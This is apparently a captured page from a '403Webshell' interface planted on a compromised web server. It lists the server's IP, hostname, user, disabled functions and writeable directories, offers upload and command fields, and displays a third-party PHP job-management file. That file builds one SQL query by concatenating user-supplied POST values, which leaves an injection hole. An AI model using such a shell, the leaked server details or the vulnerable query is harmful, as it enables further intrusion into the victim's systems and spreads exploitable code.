403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesupportsys.onesolution.hk/call_in_job/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesupportsys.onesolution.hk/call_in_job/modify.php
<?php
require_once(__DIR__ . '/../checkuser.php');
session_start();
//-----------------------------------------------------------------------------
// Save if POST method
//-----------------------------------------------------------------------------
if (isPost()) {
	if (!$dbh->beginTransaction()) {
		throw new Exception('mysql begin transaction failure.');
	}
	try {
		unset($_SESSION["all_job_ids"]);

		$post = $_POST;
		unset($post['new_job_detail']);
		unset($post['job_detail']);
		
		$sql = "SELECT column_name FROM information_schema.columns WHERE table_schema = (SELECT DATABASE()) AND table_name = ?";
		$parameters = array('sup_job');
		if (!($sth = $dbh->prepare($sql))) {
			throw new Exception("sql prepare statement failure: $sql");
		}
		$sth->setFetchMode(PDO::FETCH_ASSOC);
		if (!$sth->execute($parameters)) {
			throw new Exception("sql execute statement failure: $sql");
		}
		$columns = $sth->fetchAll();

		foreach ($columns as $column) {
			$column = $column['column_name'];
			if (isset($post[$column])) {
				$job[$column] = $post[$column];
			}
		}
			
		// Append record time
		$now = date("Y-m-d H:i:s");
		$job = array_merge($job, array(
			'lastupdate' => $now,
			'lastupby' => $_SESSION['webadmin']['id'],
		));
		
		// Update job
		$remark_job_id = array();
		$values = array();
		$parameters = array();
		foreach ($job as $column => $value) {
			if ($column != 'id') {

				if($column == "end_time"){
					//change the end time from 00 to 59
					$time_explode = explode(':', $value);
					$minutes      = $time_explode[0];
					$seconds      = $time_explode[1];

					if ($seconds == "00" && $minutes != "00") {
						$minutes = $minutes - 1;
						$seconds = "59";

						$value = $minutes . ":" . $seconds;
					}
					//end of change time
				}



				$parameters[] = !strlen($value) ? null : $value;
				$values[] = "`$column` = ?";
			}


			if($column == "other_staff_id"){
				if(count($value) > 0){
					$parameters[] = implode(",", $value);
					$values[] = "`$column` = ?";
				}else{
					$parameters[] = "";
					$values[] = "`$column` = ?";
				}
			}
		}
		$sql = "UPDATE sup_job SET " . implode(', ', $values) . " WHERE id = ?";
		$parameters[] = $job['id'];
		if (!($sth = $dbh->prepare($sql))) {
			throw new Exception("sql prepare statement failure: $sql");
		}
		$sth->setFetchMode(PDO::FETCH_ASSOC);
		if (!$sth->execute($parameters)) {
			throw new Exception("sql execute statement failure: $sql");
		}

		$remark_job_id[] = $job['id'];


		if($_POST["job_type"] == "JOB"){
			//checking whether the staff already has job on that time
			$sql = "SELECT job.*,customer.* FROM sup_job job, v_cm_customer_support customer WHERE job.customer_id = customer.cust_id and job.date = '".$job['date']."' and job.start_time <= '".$job['end_time']."' and '".$job['start_time']."' <= job.end_time and job.staff_id = '".$job['staff_id']."' and job.id != '".$job['id']."' order by `date` ASC";

			$parameters2 = array(0);
			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute($parameters2)) {
				throw new Exception("sql execute statement failure: $sql");
			}

			$check_job_time = $sth->fetchAll();

			if(!empty($check_job_time)){    //staff time clash
				foreach($check_job_time as $check){

					$clash_job_array[] = $check["id"]." (".$check["company_name"].")";
					$clash_job_id_array[] = $check["id"];
				}
			}
		}


		// Create details
		Job::createDetails($_POST['new_job_detail']);

		//exit;

		// Update details
		$sql = "SELECT * FROM sup_job_detail WHERE job_id = ? ORDER BY id";
		$parameters = array($job['id']);
		if (!($sth = $dbh->prepare($sql))) {
			throw new Exception("sql prepare statement failure: $sql");
		}
		$sth->setFetchMode(PDO::FETCH_ASSOC);
		if (!$sth->execute($parameters)) {
			throw new Exception("sql execute statement failure: $sql");
		}
		$job['details'] = $sth->fetchAll();
		Job::updateDetails($_POST['job_detail'], $job['details']);


		//update period task
		//$period_task_ids = $_POST["period_task_id"];
		$period_task_status = $_POST["period_task_status"];
		$period_task_remarks = $_POST["period_task_remarks"];
		$completed_date = date("Y-m-d");

		foreach($period_task_remarks as $ptask_id => $remarks){ //looping all task id of that customer and update the task status

			if($period_task_status[$ptask_id] == 2){    //period task change status to completed and record completed date

				$sql = "update sup_period_task set status=?,task_remarks=?,completed_date=?, lastupdate=?, lastupby=? where ptask_id=?";
				$parameters2 = array($period_task_status[$ptask_id], $period_task_remarks[$ptask_id],$completed_date, $now,$_SESSION['webadmin']['id'], $ptask_id);
			}else{
				$sql = "update sup_period_task set status=?,task_remarks=?, lastupdate=?, lastupby=? where ptask_id=?";
				$parameters2 = array($period_task_status[$ptask_id], $period_task_remarks[$ptask_id], $now,$_SESSION['webadmin']['id'], $ptask_id);
			}

			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute($parameters2)) {
				throw new Exception("sql execute statement failure: $sql");
			}

		}


		//update follow up task
		$pending_task_ids = $_POST["pending_task_id"];
		$pending_task_status = $_POST["pending_task_status"];
		$pending_task_title = $_POST["pending_task_title"];
		$pending_task_remarks = $_POST["pending_task_remarks"];
		$pending_task_category_id = $_POST["pending_task_category_id"];

		foreach($pending_task_ids as $pending_task_id){

			//update job detail status
			$sql = "update sup_job_detail set job_id=?, status=?, title=?, remarks=?, task_category_id=?, lastupdate=?, lastupby=? where id=?";

			$parameters2 = array($job['id'], $pending_task_status[$pending_task_id], $pending_task_title[$pending_task_id], $pending_task_remarks[$pending_task_id], $pending_task_category_id[$pending_task_id], $now,$_SESSION['webadmin']['id'], $pending_task_id);

			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute($parameters2)) {
				throw new Exception("sql execute statement failure: $sql");
			}

			//update follow up task table
			$sql = "update sup_job_pending set actived=?, lastupdate=?, lastupby=? where job_detail_id=?";

			$parameters3 = array("0", $now,$_SESSION['webadmin']['id'], $pending_task_id);

			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute($parameters3)) {
				throw new Exception("sql execute statement failure: $sql");
			}

		}





		if (!$dbh->commit()) {
			throw new Exception('mysql commit transaction failure.');
		}

	} catch (Exception $exception) {
		if (!$dbh->rollBack()) {
			throw new Exception('mysql roll back transaction failure.');
		}
		throw $exception;
	}

	$_SESSION["clash_job_array"] = $clash_job_array;
	$_SESSION["clash_job_id_array"] = $clash_job_id_array;
	$_SESSION["remark_job_id"] = $remark_job_id;

	//redirectAndExit('index.php?message=Saved.');
	$job_id = (int)$_POST["id"];
	//redirectAndExit('modifyform.php?id='.$job_id.'&message=Saved.');

	$startdate = date("Y-m-d");
	$enddate = Date('Y-m-d', strtotime($startdate ."+1 month"));
	redirectAndExit('index.php?start_date='.$startdate.'&end_date='.$enddate.'&message=Job Saved.');
}

Youez - 2016 - github.com/yon3zu
LinuXploit